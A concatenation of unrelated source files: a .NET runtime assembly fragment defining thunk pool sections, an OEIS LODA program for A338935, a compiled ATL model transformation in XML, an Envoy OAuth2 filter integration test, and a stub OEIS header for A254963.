LOAD_DATA_ADDRESS groupIndex,3,thunkPool
JUMP_TO_COMMON groupIndex,3,thunkPool
LOAD_DATA_ADDRESS groupIndex,4,thunkPool
JUMP_TO_COMMON groupIndex,4,thunkPool
LOAD_DATA_ADDRESS groupIndex,5,thunkPool
JUMP_TO_COMMON groupIndex,5,thunkPool
LOAD_DATA_ADDRESS groupIndex,6,thunkPool
JUMP_TO_COMMON groupIndex,6,thunkPool
LOAD_DATA_ADDRESS groupIndex,7,thunkPool
JUMP_TO_COMMON groupIndex,7,thunkPool
LOAD_DATA_ADDRESS groupIndex,8,thunkPool
JUMP_TO_COMMON groupIndex,8,thunkPool
LOAD_DATA_ADDRESS groupIndex,9,thunkPool
JUMP_TO_COMMON groupIndex,9,thunkPool
endm
THUNKS_PAGE_BLOCK macro thunkPool
TenThunks 0,thunkPool
TenThunks 1,thunkPool
TenThunks 2,thunkPool
TenThunks 3,thunkPool
TenThunks 4,thunkPool
TenThunks 5,thunkPool
TenThunks 6,thunkPool
TenThunks 7,thunkPool
TenThunks 8,thunkPool
TenThunks 9,thunkPool
TenThunks 10,thunkPool
TenThunks 11,thunkPool
TenThunks 12,thunkPool
TenThunks 13,thunkPool
TenThunks 14,thunkPool
TenThunks 15,thunkPool
TenThunks 16,thunkPool
TenThunks 17,thunkPool
TenThunks 18,thunkPool
TenThunks 19,thunkPool
TenThunks 20,thunkPool
TenThunks 21,thunkPool
TenThunks 22,thunkPool
TenThunks 23,thunkPool
TenThunks 24,thunkPool
endm
;;
;; The first thunks section should be 64K aligned because it can get
;; mapped multiple times in memory, and mapping works on allocation
;; granularity boundaries (we don't want to map more than what we need)
;;
;; The easiest way to do so is by having the thunks section at the
;; first 64K aligned virtual address in the binary. We provide a section
;; layout file to the linker to tell it how to layout the thunks sections
;; that we care about. (ndp\rh\src\runtime\DLLs\app\mrt100_app_sectionlayout.txt)
;;
;; The PE spec says images cannot have gaps between sections (other
;; than what is required by the section alignment value in the header),
;; therefore we need a couple of padding data sections (otherwise the
;; OS will not load the image).
;;
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment0, ".pad0"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment1, ".pad1"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment2, ".pad2"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment3, ".pad3"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment4, ".pad4"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment5, ".pad5"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment6, ".pad6"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment7, ".pad7"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment8, ".pad8"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment9, ".pad9"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment10, ".pad10"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment11, ".pad11"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment12, ".pad12"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment13, ".pad13"
NAMED_READONLY_DATA_SECTION PaddingFor64KAlignment14, ".pad14"
;;
;; Thunk Stubs
;; NOTE: Keep number of blocks in sync with macro/constant named 'NUM_THUNK_BLOCKS' in:
;; - ndp\FxCore\src\System.Private.CoreLib\System\Runtime\InteropServices\ThunkPool.cs
;; - ndp\rh\src\tools\rhbind\zapimage.h
;;
NAMED_LEAF_ENTRY ThunkPool, TKS0, ".tks0"
THUNKS_PAGE_BLOCK ThunkPool
LEAF_END ThunkPool, TKS0
NAMED_READWRITE_DATA_SECTION ThunkData0, ".tkd0"
NAMED_LEAF_ENTRY ThunkPool1, TKS1, ".tks1"
THUNKS_PAGE_BLOCK ThunkPool1
LEAF_END ThunkPool1, TKS1
NAMED_READWRITE_DATA_SECTION ThunkData1, ".tkd1"
NAMED_LEAF_ENTRY ThunkPool2, TKS2, ".tks2"
THUNKS_PAGE_BLOCK ThunkPool2
LEAF_END ThunkPool2, TKS2
NAMED_READWRITE_DATA_SECTION ThunkData2, ".tkd2"
NAMED_LEAF_ENTRY ThunkPool3, TKS3, ".tks3"
THUNKS_PAGE_BLOCK ThunkPool3
LEAF_END ThunkPool3, TKS3
NAMED_READWRITE_DATA_SECTION ThunkData3, ".tkd3"
NAMED_LEAF_ENTRY ThunkPool4, TKS4, ".tks4"
THUNKS_PAGE_BLOCK ThunkPool4
LEAF_END ThunkPool4, TKS4
NAMED_READWRITE_DATA_SECTION ThunkData4, ".tkd4"
NAMED_LEAF_ENTRY ThunkPool5, TKS5, ".tks5"
THUNKS_PAGE_BLOCK ThunkPool5
LEAF_END ThunkPool5, TKS5
NAMED_READWRITE_DATA_SECTION ThunkData5, ".tkd5"
NAMED_LEAF_ENTRY ThunkPool6, TKS6, ".tks6"
THUNKS_PAGE_BLOCK ThunkPool6
LEAF_END ThunkPool6, TKS6
NAMED_READWRITE_DATA_SECTION ThunkData6, ".tkd6"
NAMED_LEAF_ENTRY ThunkPool7, TKS7, ".tks7"
THUNKS_PAGE_BLOCK ThunkPool7
LEAF_END ThunkPool7, TKS7
NAMED_READWRITE_DATA_SECTION ThunkData7, ".tkd7"
;;
;; IntPtr RhpGetThunksBase()
;;
LEAF_ENTRY RhpGetThunksBase, _TEXT
;; Return the address of the first thunk pool to the caller (this is really the base address)
lea rax, [ThunkPool]
ret
LEAF_END RhpGetThunksBase, _TEXT
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; General Helpers ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;
;; int RhpGetNumThunksPerBlock()
;;
LEAF_ENTRY RhpGetNumThunksPerBlock, _TEXT
mov rax, THUNK_POOL_NUM_THUNKS_PER_PAGE
ret
LEAF_END RhpGetNumThunksPerBlock, _TEXT
;;
;; int RhpGetThunkSize()
;;
LEAF_ENTRY RhpGetThunkSize, _TEXT
mov rax, THUNK_CODESIZE
ret
LEAF_END RhpGetThunkSize, _TEXT
;;
;; int RhpGetNumThunkBlocksPerMapping()
;;
LEAF_ENTRY RhpGetNumThunkBlocksPerMapping, _TEXT
mov rax, 8
ret
LEAF_END RhpGetNumThunkBlocksPerMapping, _TEXT
;;
;; int RhpGetThunkBlockSize
;;
LEAF_ENTRY RhpGetThunkBlockSize, _TEXT
mov rax, PAGE_SIZE * 2
ret
LEAF_END RhpGetThunkBlockSize, _TEXT
;;
;; IntPtr RhpGetThunkDataBlockAddress(IntPtr thunkStubAddress)
;;
LEAF_ENTRY RhpGetThunkDataBlockAddress, _TEXT
mov rax, rcx
mov rcx, PAGE_SIZE - 1
not rcx
and rax, rcx
add rax, PAGE_SIZE
ret
LEAF_END RhpGetThunkDataBlockAddress, _TEXT
;;
;; IntPtr RhpGetThunkStubsBlockAddress(IntPtr thunkDataAddress)
;;
LEAF_ENTRY RhpGetThunkStubsBlockAddress, _TEXT
mov rax, rcx
mov rcx, PAGE_SIZE - 1
not rcx
and rax, rcx
sub rax, PAGE_SIZE
ret
LEAF_END RhpGetThunkStubsBlockAddress, _TEXT
end
|
; A338935: a(n) = Sum_{d|n} (d^2 mod n).
; Submitted by Jon Maiga
; 0,1,1,1,1,8,1,5,1,10,1,18,1,12,20,5,1,23,1,26,17,16,1,58,1,18,10,42,1,70,1,21,32,22,40,39,1,24,23,90,1,106,1,54,71,28,1,98,1,55,44,34,1,104,37,106,29,34,1,240,1,36,77,21,65,160,1,38,56,200,1,175,1,42,60,78,94,154,1,146,10,46,1,252,60,48,68,162,1,310,128,90,41,52,102,306,1,103,113,71
add $0,1
mov $1,$0
lpb $1
mov $2,$0
mov $6,$1
lpb $2
cmp $3,0
add $6,$3
dif $2,$6
cmp $3,0
mov $4,$0
div $4,$6
mod $4,$6
mul $2,$4
add $5,$2
mov $6,9349
lpe
sub $1,1
lpe
mov $0,$5
|
<?xml version = '1.0' encoding = 'ISO-8859-1' ?>
<asm version="1.0" name="0">
<cp>
<constant value="ERCopier"/>
<constant value="links"/>
<constant value="NTransientLinkSet;"/>
<constant value="col"/>
<constant value="J"/>
<constant value="main"/>
<constant value="A"/>
<constant value="OclParametrizedType"/>
<constant value="#native"/>
<constant value="Collection"/>
<constant value="J.setName(S):V"/>
<constant value="OclSimpleType"/>
<constant value="OclAny"/>
<constant value="J.setElementType(J):V"/>
<constant value="TransientLinkSet"/>
<constant value="A.__matcher__():V"/>
<constant value="A.__exec__():V"/>
<constant value="self"/>
<constant value="__resolve__"/>
<constant value="1"/>
<constant value="J.oclIsKindOf(J):B"/>
<constant value="18"/>
<constant value="NTransientLinkSet;.getLinkBySourceElement(S):QNTransientLink;"/>
<constant value="J.oclIsUndefined():B"/>
<constant value="15"/>
<constant value="NTransientLink;.getTargetFromSource(J):J"/>
<constant value="17"/>
<constant value="30"/>
<constant value="Sequence"/>
<constant value="2"/>
<constant value="A.__resolve__(J):J"/>
<constant value="QJ.including(J):QJ"/>
<constant value="QJ.flatten():QJ"/>
<constant value="e"/>
<constant value="value"/>
<constant value="resolveTemp"/>
<constant value="S"/>
<constant value="NTransientLink;.getNamedTargetFromSource(JS):J"/>
<constant value="name"/>
<constant value="__matcher__"/>
<constant value="A.__matchERModel():V"/>
<constant value="A.__matchEntityType():V"/>
<constant value="A.__matchAttribute():V"/>
<constant value="A.__matchWeakReference():V"/>
<constant value="A.__matchStrongReference():V"/>
<constant value="__exec__"/>
<constant value="ERModel"/>
<constant value="NTransientLinkSet;.getLinksByRule(S):QNTransientLink;"/>
<constant value="A.__applyERModel(NTransientLink;):V"/>
<constant value="EntityType"/>
<constant value="A.__applyEntityType(NTransientLink;):V"/>
<constant value="Attribute"/>
<constant value="A.__applyAttribute(NTransientLink;):V"/>
<constant value="WeakReference"/>
<constant value="A.__applyWeakReference(NTransientLink;):V"/>
<constant value="StrongReference"/>
<constant value="A.__applyStrongReference(NTransientLink;):V"/>
<constant value="__matchERModel"/>
<constant value="ER"/>
<constant value="IN"/>
<constant value="MMOF!Classifier;.allInstancesFrom(S):QJ"/>
<constant value="TransientLink"/>
<constant value="NTransientLink;.setRule(MATL!Rule;):V"/>
<constant value="ermodel_IN"/>
<constant value="NTransientLink;.addSourceElement(SJ):V"/>
<constant value="ermodel_OUT"/>
<constant value="NTransientLink;.addTargetElement(SJ):V"/>
<constant value="NTransientLinkSet;.addLink2(NTransientLink;B):V"/>
<constant value="8:3-11:4"/>
<constant value="__applyERModel"/>
<constant value="NTransientLink;"/>
<constant value="NTransientLink;.getSourceElement(S):J"/>
<constant value="NTransientLink;.getTargetElement(S):J"/>
<constant value="3"/>
<constant value="entities"/>
<constant value="9:12-9:22"/>
<constant value="9:12-9:27"/>
<constant value="9:4-9:27"/>
<constant value="10:16-10:26"/>
<constant value="10:16-10:35"/>
<constant value="10:4-10:35"/>
<constant value="link"/>
<constant value="__matchEntityType"/>
<constant value="entitytype_IN"/>
<constant value="entitytype_OUT"/>
<constant value="18:3-21:4"/>
<constant value="__applyEntityType"/>
<constant value="features"/>
<constant value="19:12-19:25"/>
<constant value="19:12-19:30"/>
<constant value="19:4-19:30"/>
<constant value="20:16-20:29"/>
<constant value="20:16-20:38"/>
<constant value="20:4-20:38"/>
<constant value="__matchAttribute"/>
<constant value="attribute_IN"/>
<constant value="attribute_OUT"/>
<constant value="28:3-31:4"/>
<constant value="__applyAttribute"/>
<constant value="type"/>
<constant value="29:12-29:24"/>
<constant value="29:12-29:29"/>
<constant value="29:4-29:29"/>
<constant value="30:12-30:24"/>
<constant value="30:12-30:29"/>
<constant value="30:4-30:29"/>
<constant value="__matchWeakReference"/>
<constant value="weakreference_IN"/>
<constant value="weakreference_OUT"/>
<constant value="38:3-41:4"/>
<constant value="__applyWeakReference"/>
<constant value="39:12-39:28"/>
<constant value="39:12-39:33"/>
<constant value="39:4-39:33"/>
<constant value="40:12-40:28"/>
<constant value="40:12-40:33"/>
<constant value="40:4-40:33"/>
<constant value="__matchStrongReference"/>
<constant value="strongreference_IN"/>
<constant value="strongreference_OUT"/>
<constant value="48:3-51:4"/>
<constant value="__applyStrongReference"/>
<constant value="49:12-49:30"/>
<constant value="49:12-49:35"/>
<constant value="49:4-49:35"/>
<constant value="50:12-50:30"/>
<constant value="50:12-50:35"/>
<constant value="50:4-50:35"/>
</cp>
<field name="1" type="2"/>
<field name="3" type="4"/>
<operation name="5">
<context type="6"/>
<parameters>
</parameters>
<code>
<getasm/>
<push arg="7"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="9"/>
<pcall arg="10"/>
<dup/>
<push arg="11"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="12"/>
<pcall arg="10"/>
<pcall arg="13"/>
<set arg="3"/>
<getasm/>
<push arg="14"/>
<push arg="8"/>
<new/>
<set arg="1"/>
<getasm/>
<pcall arg="15"/>
<getasm/>
<pcall arg="16"/>
</code>
<linenumbertable>
</linenumbertable>
<localvariabletable>
<lve slot="0" name="17" begin="0" end="24"/>
</localvariabletable>
</operation>
<operation name="18">
<context type="6"/>
<parameters>
<parameter name="19" type="4"/>
</parameters>
<code>
<load arg="19"/>
<getasm/>
<get arg="3"/>
<call arg="20"/>
<if arg="21"/>
<getasm/>
<get arg="1"/>
<load arg="19"/>
<call arg="22"/>
<dup/>
<call arg="23"/>
<if arg="24"/>
<load arg="19"/>
<call arg="25"/>
<goto arg="26"/>
<pop/>
<load arg="19"/>
<goto arg="27"/>
<push arg="28"/>
<push arg="8"/>
<new/>
<load arg="19"/>
<iterate/>
<store arg="29"/>
<getasm/>
<load arg="29"/>
<call arg="30"/>
<call arg="31"/>
<enditerate/>
<call arg="32"/>
</code>
<linenumbertable>
</linenumbertable>
<localvariabletable>
<lve slot="2" name="33" begin="23" end="27"/>
<lve slot="0" name="17" begin="0" end="29"/>
<lve slot="1" name="34" begin="0" end="29"/>
</localvariabletable>
</operation>
<operation name="35">
<context type="6"/>
<parameters>
<parameter name="19" type="4"/>
<parameter name="29" type="36"/>
</parameters>
<code>
<getasm/>
<get arg="1"/>
<load arg="19"/>
<call arg="22"/>
<load arg="19"/>
<load arg="29"/>
<call arg="37"/>
</code>
<linenumbertable>
</linenumbertable>
<localvariabletable>
<lve slot="0" name="17" begin="0" end="6"/>
<lve slot="1" name="34" begin="0" end="6"/>
<lve slot="2" name="38" begin="0" end="6"/>
</localvariabletable>
</operation>
<operation name="39">
<context type="6"/>
<parameters>
</parameters>
<code>
<getasm/>
<pcall arg="40"/>
<getasm/>
<pcall arg="41"/>
<getasm/>
<pcall arg="42"/>
<getasm/>
<pcall arg="43"/>
<getasm/>
<pcall arg="44"/>
</code>
<linenumbertable>
</linenumbertable>
<localvariabletable>
<lve slot="0" name="17" begin="0" end="9"/>
</localvariabletable>
</operation>
<operation name="45">
<context type="6"/>
<parameters>
</parameters>
<code>
<getasm/>
<get arg="1"/>
<push arg="46"/>
<call arg="47"/>
<iterate/>
<store arg="19"/>
<getasm/>
<load arg="19"/>
<pcall arg="48"/>
<enditerate/>
<getasm/>
<get arg="1"/>
<push arg="49"/>
<call arg="47"/>
<iterate/>
<store arg="19"/>
<getasm/>
<load arg="19"/>
<pcall arg="50"/>
<enditerate/>
<getasm/>
<get arg="1"/>
<push arg="51"/>
<call arg="47"/>
<iterate/>
<store arg="19"/>
<getasm/>
<load arg="19"/>
<pcall arg="52"/>
<enditerate/>
<getasm/>
<get arg="1"/>
<push arg="53"/>
<call arg="47"/>
<iterate/>
<store arg="19"/>
<getasm/>
<load arg="19"/>
<pcall arg="54"/>
<enditerate/>
<getasm/>
<get arg="1"/>
<push arg="55"/>
<call arg="47"/>
<iterate/>
<store arg="19"/>
<getasm/>
<load arg="19"/>
<pcall arg="56"/>
<enditerate/>
</code>
<linenumbertable>
</linenumbertable>
<localvariabletable>
<lve slot="1" name="33" begin="5" end="8"/>
<lve slot="1" name="33" begin="15" end="18"/>
<lve slot="1" name="33" begin="25" end="28"/>
<lve slot="1" name="33" begin="35" end="38"/>
<lve slot="1" name="33" begin="45" end="48"/>
<lve slot="0" name="17" begin="0" end="49"/>
</localvariabletable>
</operation>
<operation name="57">
<context type="6"/>
<parameters>
</parameters>
<code>
<push arg="46"/>
<push arg="58"/>
<findme/>
<push arg="59"/>
<call arg="60"/>
<iterate/>
<store arg="19"/>
<getasm/>
<get arg="1"/>
<push arg="61"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="46"/>
<pcall arg="62"/>
<dup/>
<push arg="63"/>
<load arg="19"/>
<pcall arg="64"/>
<dup/>
<push arg="65"/>
<push arg="46"/>
<push arg="58"/>
<new/>
<pcall arg="66"/>
<pusht/>
<pcall arg="67"/>
<enditerate/>
</code>
<linenumbertable>
<lne id="68" begin="19" end="24"/>
</linenumbertable>
<localvariabletable>
<lve slot="1" name="63" begin="6" end="26"/>
<lve slot="0" name="17" begin="0" end="27"/>
</localvariabletable>
</operation>
<operation name="69">
<context type="6"/>
<parameters>
<parameter name="19" type="70"/>
</parameters>
<code>
<load arg="19"/>
<push arg="63"/>
<call arg="71"/>
<store arg="29"/>
<load arg="19"/>
<push arg="65"/>
<call arg="72"/>
<store arg="73"/>
<load arg="73"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="38"/>
<call arg="30"/>
<set arg="38"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="74"/>
<call arg="30"/>
<set arg="74"/>
<pop/>
</code>
<linenumbertable>
<lne id="75" begin="11" end="11"/>
<lne id="76" begin="11" end="12"/>
<lne id="77" begin="9" end="14"/>
<lne id="78" begin="17" end="17"/>
<lne id="79" begin="17" end="18"/>
<lne id="80" begin="15" end="20"/>
<lne id="68" begin="8" end="21"/>
</linenumbertable>
<localvariabletable>
<lve slot="3" name="65" begin="7" end="21"/>
<lve slot="2" name="63" begin="3" end="21"/>
<lve slot="0" name="17" begin="0" end="21"/>
<lve slot="1" name="81" begin="0" end="21"/>
</localvariabletable>
</operation>
<operation name="82">
<context type="6"/>
<parameters>
</parameters>
<code>
<push arg="49"/>
<push arg="58"/>
<findme/>
<push arg="59"/>
<call arg="60"/>
<iterate/>
<store arg="19"/>
<getasm/>
<get arg="1"/>
<push arg="61"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="49"/>
<pcall arg="62"/>
<dup/>
<push arg="83"/>
<load arg="19"/>
<pcall arg="64"/>
<dup/>
<push arg="84"/>
<push arg="49"/>
<push arg="58"/>
<new/>
<pcall arg="66"/>
<pusht/>
<pcall arg="67"/>
<enditerate/>
</code>
<linenumbertable>
<lne id="85" begin="19" end="24"/>
</linenumbertable>
<localvariabletable>
<lve slot="1" name="83" begin="6" end="26"/>
<lve slot="0" name="17" begin="0" end="27"/>
</localvariabletable>
</operation>
<operation name="86">
<context type="6"/>
<parameters>
<parameter name="19" type="70"/>
</parameters>
<code>
<load arg="19"/>
<push arg="83"/>
<call arg="71"/>
<store arg="29"/>
<load arg="19"/>
<push arg="84"/>
<call arg="72"/>
<store arg="73"/>
<load arg="73"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="38"/>
<call arg="30"/>
<set arg="38"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="87"/>
<call arg="30"/>
<set arg="87"/>
<pop/>
</code>
<linenumbertable>
<lne id="88" begin="11" end="11"/>
<lne id="89" begin="11" end="12"/>
<lne id="90" begin="9" end="14"/>
<lne id="91" begin="17" end="17"/>
<lne id="92" begin="17" end="18"/>
<lne id="93" begin="15" end="20"/>
<lne id="85" begin="8" end="21"/>
</linenumbertable>
<localvariabletable>
<lve slot="3" name="84" begin="7" end="21"/>
<lve slot="2" name="83" begin="3" end="21"/>
<lve slot="0" name="17" begin="0" end="21"/>
<lve slot="1" name="81" begin="0" end="21"/>
</localvariabletable>
</operation>
<operation name="94">
<context type="6"/>
<parameters>
</parameters>
<code>
<push arg="51"/>
<push arg="58"/>
<findme/>
<push arg="59"/>
<call arg="60"/>
<iterate/>
<store arg="19"/>
<getasm/>
<get arg="1"/>
<push arg="61"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="51"/>
<pcall arg="62"/>
<dup/>
<push arg="95"/>
<load arg="19"/>
<pcall arg="64"/>
<dup/>
<push arg="96"/>
<push arg="51"/>
<push arg="58"/>
<new/>
<pcall arg="66"/>
<pusht/>
<pcall arg="67"/>
<enditerate/>
</code>
<linenumbertable>
<lne id="97" begin="19" end="24"/>
</linenumbertable>
<localvariabletable>
<lve slot="1" name="95" begin="6" end="26"/>
<lve slot="0" name="17" begin="0" end="27"/>
</localvariabletable>
</operation>
<operation name="98">
<context type="6"/>
<parameters>
<parameter name="19" type="70"/>
</parameters>
<code>
<load arg="19"/>
<push arg="95"/>
<call arg="71"/>
<store arg="29"/>
<load arg="19"/>
<push arg="96"/>
<call arg="72"/>
<store arg="73"/>
<load arg="73"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="38"/>
<call arg="30"/>
<set arg="38"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="99"/>
<call arg="30"/>
<set arg="99"/>
<pop/>
</code>
<linenumbertable>
<lne id="100" begin="11" end="11"/>
<lne id="101" begin="11" end="12"/>
<lne id="102" begin="9" end="14"/>
<lne id="103" begin="17" end="17"/>
<lne id="104" begin="17" end="18"/>
<lne id="105" begin="15" end="20"/>
<lne id="97" begin="8" end="21"/>
</linenumbertable>
<localvariabletable>
<lve slot="3" name="96" begin="7" end="21"/>
<lve slot="2" name="95" begin="3" end="21"/>
<lve slot="0" name="17" begin="0" end="21"/>
<lve slot="1" name="81" begin="0" end="21"/>
</localvariabletable>
</operation>
<operation name="106">
<context type="6"/>
<parameters>
</parameters>
<code>
<push arg="53"/>
<push arg="58"/>
<findme/>
<push arg="59"/>
<call arg="60"/>
<iterate/>
<store arg="19"/>
<getasm/>
<get arg="1"/>
<push arg="61"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="53"/>
<pcall arg="62"/>
<dup/>
<push arg="107"/>
<load arg="19"/>
<pcall arg="64"/>
<dup/>
<push arg="108"/>
<push arg="53"/>
<push arg="58"/>
<new/>
<pcall arg="66"/>
<pusht/>
<pcall arg="67"/>
<enditerate/>
</code>
<linenumbertable>
<lne id="109" begin="19" end="24"/>
</linenumbertable>
<localvariabletable>
<lve slot="1" name="107" begin="6" end="26"/>
<lve slot="0" name="17" begin="0" end="27"/>
</localvariabletable>
</operation>
<operation name="110">
<context type="6"/>
<parameters>
<parameter name="19" type="70"/>
</parameters>
<code>
<load arg="19"/>
<push arg="107"/>
<call arg="71"/>
<store arg="29"/>
<load arg="19"/>
<push arg="108"/>
<call arg="72"/>
<store arg="73"/>
<load arg="73"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="38"/>
<call arg="30"/>
<set arg="38"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="99"/>
<call arg="30"/>
<set arg="99"/>
<pop/>
</code>
<linenumbertable>
<lne id="111" begin="11" end="11"/>
<lne id="112" begin="11" end="12"/>
<lne id="113" begin="9" end="14"/>
<lne id="114" begin="17" end="17"/>
<lne id="115" begin="17" end="18"/>
<lne id="116" begin="15" end="20"/>
<lne id="109" begin="8" end="21"/>
</linenumbertable>
<localvariabletable>
<lve slot="3" name="108" begin="7" end="21"/>
<lve slot="2" name="107" begin="3" end="21"/>
<lve slot="0" name="17" begin="0" end="21"/>
<lve slot="1" name="81" begin="0" end="21"/>
</localvariabletable>
</operation>
<operation name="117">
<context type="6"/>
<parameters>
</parameters>
<code>
<push arg="55"/>
<push arg="58"/>
<findme/>
<push arg="59"/>
<call arg="60"/>
<iterate/>
<store arg="19"/>
<getasm/>
<get arg="1"/>
<push arg="61"/>
<push arg="8"/>
<new/>
<dup/>
<push arg="55"/>
<pcall arg="62"/>
<dup/>
<push arg="118"/>
<load arg="19"/>
<pcall arg="64"/>
<dup/>
<push arg="119"/>
<push arg="55"/>
<push arg="58"/>
<new/>
<pcall arg="66"/>
<pusht/>
<pcall arg="67"/>
<enditerate/>
</code>
<linenumbertable>
<lne id="120" begin="19" end="24"/>
</linenumbertable>
<localvariabletable>
<lve slot="1" name="118" begin="6" end="26"/>
<lve slot="0" name="17" begin="0" end="27"/>
</localvariabletable>
</operation>
<operation name="121">
<context type="6"/>
<parameters>
<parameter name="19" type="70"/>
</parameters>
<code>
<load arg="19"/>
<push arg="118"/>
<call arg="71"/>
<store arg="29"/>
<load arg="19"/>
<push arg="119"/>
<call arg="72"/>
<store arg="73"/>
<load arg="73"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="38"/>
<call arg="30"/>
<set arg="38"/>
<dup/>
<getasm/>
<load arg="29"/>
<get arg="99"/>
<call arg="30"/>
<set arg="99"/>
<pop/>
</code>
<linenumbertable>
<lne id="122" begin="11" end="11"/>
<lne id="123" begin="11" end="12"/>
<lne id="124" begin="9" end="14"/>
<lne id="125" begin="17" end="17"/>
<lne id="126" begin="17" end="18"/>
<lne id="127" begin="15" end="20"/>
<lne id="120" begin="8" end="21"/>
</linenumbertable>
<localvariabletable>
<lve slot="3" name="119" begin="7" end="21"/>
<lve slot="2" name="118" begin="3" end="21"/>
<lve slot="0" name="17" begin="0" end="21"/>
<lve slot="1" name="81" begin="0" end="21"/>
</localvariabletable>
</operation>
</asm>
|
#include "common/protobuf/utility.h"
#include "source/extensions/filters/http/oauth2/oauth_response.pb.h"
#include "test/integration/http_integration.h"
#include "gtest/gtest.h"
namespace Envoy {
namespace Extensions {
namespace HttpFilters {
namespace Oauth {
namespace {
class OauthIntegrationTest : public testing::Test, public HttpIntegrationTest {
public:
OauthIntegrationTest()
: HttpIntegrationTest(Http::CodecClient::Type::HTTP2, Network::Address::IpVersion::v4) {
enableHalfClose(true);
}
envoy::service::discovery::v3::DiscoveryResponse genericSecretResponse(absl::string_view name,
absl::string_view value) {
envoy::extensions::transport_sockets::tls::v3::Secret secret;
secret.set_name(std::string(name));
secret.mutable_generic_secret()->mutable_secret()->set_inline_string(std::string(value));
envoy::service::discovery::v3::DiscoveryResponse response_pb;
response_pb.add_resources()->PackFrom(secret);
response_pb.set_type_url(
envoy::extensions::transport_sockets::tls::v3::Secret::descriptor()->name());
return response_pb;
}
void initialize() override {
setUpstreamProtocol(FakeHttpConnection::Type::HTTP2);
config_helper_.addFilter(R"EOF(
name: oauth
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.oauth2.v3alpha.OAuth2
config:
token_endpoint:
cluster: oauth
uri: oauth.com/token
timeout: 3s
authorization_endpoint: https://oauth.com/oauth/authorize/
redirect_uri: "%REQ(:x-forwarded-proto)%://%REQ(:authority)%/callback"
redirect_path_matcher:
path:
exact: /callback
signout_path:
path:
exact: /signout
credentials:
client_id: foo
token_secret:
name: token
hmac_secret:
name: hmac
auth_scopes:
- user
- openid
- email
)EOF");
// Add the OAuth cluster.
config_helper_.addConfigModifier([&](envoy::config::bootstrap::v3::Bootstrap& bootstrap) {
*bootstrap.mutable_static_resources()->add_clusters() =
config_helper_.buildStaticCluster("oauth", 0, "127.0.0.1");
auto* token_secret = bootstrap.mutable_static_resources()->add_secrets();
token_secret->set_name("token");
token_secret->mutable_generic_secret()->mutable_secret()->set_inline_bytes("token_secret");
auto* hmac_secret = bootstrap.mutable_static_resources()->add_secrets();
hmac_secret->set_name("hmac");
hmac_secret->mutable_generic_secret()->mutable_secret()->set_inline_bytes("hmac_secret");
});
setUpstreamCount(2);
HttpIntegrationTest::initialize();
}
};
// Regular request gets redirected to the login page.
TEST_F(OauthIntegrationTest, UnauthenticatedFlow) {
initialize();
codec_client_ = makeHttpConnection(lookupPort("http"));
Http::TestRequestHeaderMapImpl headers{{":method", "GET"},
{":path", "/lua/per/route/default"},
{":scheme", "http"},
{":authority", "authority"}};
auto encoder_decoder = codec_client_->startRequest(headers);
request_encoder_ = &encoder_decoder.first;
auto response = std::move(encoder_decoder.second);
// We should get an immediate redirect back.
response->waitForHeaders();
EXPECT_EQ("302", response->headers().getStatusValue());
}
TEST_F(OauthIntegrationTest, AuthenticationFlow) {
initialize();
codec_client_ = makeHttpConnection(lookupPort("http"));
Http::TestRequestHeaderMapImpl headers{
{":method", "GET"},
{":path", "/callback?code=foo&state=http%3A%2F%2Ftraffic.example.com%2Fnot%2F_oauth"},
{":scheme", "http"},
{"x-forwarded-proto", "http"},
{":authority", "authority"},
{"authority", "Bearer token"}};
auto encoder_decoder = codec_client_->startRequest(headers);
request_encoder_ = &encoder_decoder.first;
auto response = std::move(encoder_decoder.second);
waitForNextUpstreamRequest(1);
ASSERT_TRUE(upstream_request_->waitForHeadersComplete());
upstream_request_->encodeHeaders(
Http::TestRequestHeaderMapImpl{{":status", "200"}, {"content-type", "application/json"}},
false);
envoy::extensions::http_filters::oauth2::OAuthResponse oauth_response;
oauth_response.mutable_access_token()->set_value("bar");
oauth_response.mutable_expires_in()->set_value(
std::chrono::duration_cast<std::chrono::seconds>(
api_->timeSource().systemTime().time_since_epoch() + std::chrono::seconds(10))
.count());
Buffer::OwnedImpl buffer(MessageUtil::getJsonStringFromMessageOrDie(oauth_response));
upstream_request_->encodeData(buffer, true);
// We should get an immediate redirect back.
response->waitForHeaders();
EXPECT_EQ("302", response->headers().getStatusValue());
}
} // namespace
} // namespace Oauth
} // namespace HttpFilters
} // namespace Extensions
} // namespace Envoy
|
; A254963: a(n) = n*(11*n + 3)/2.
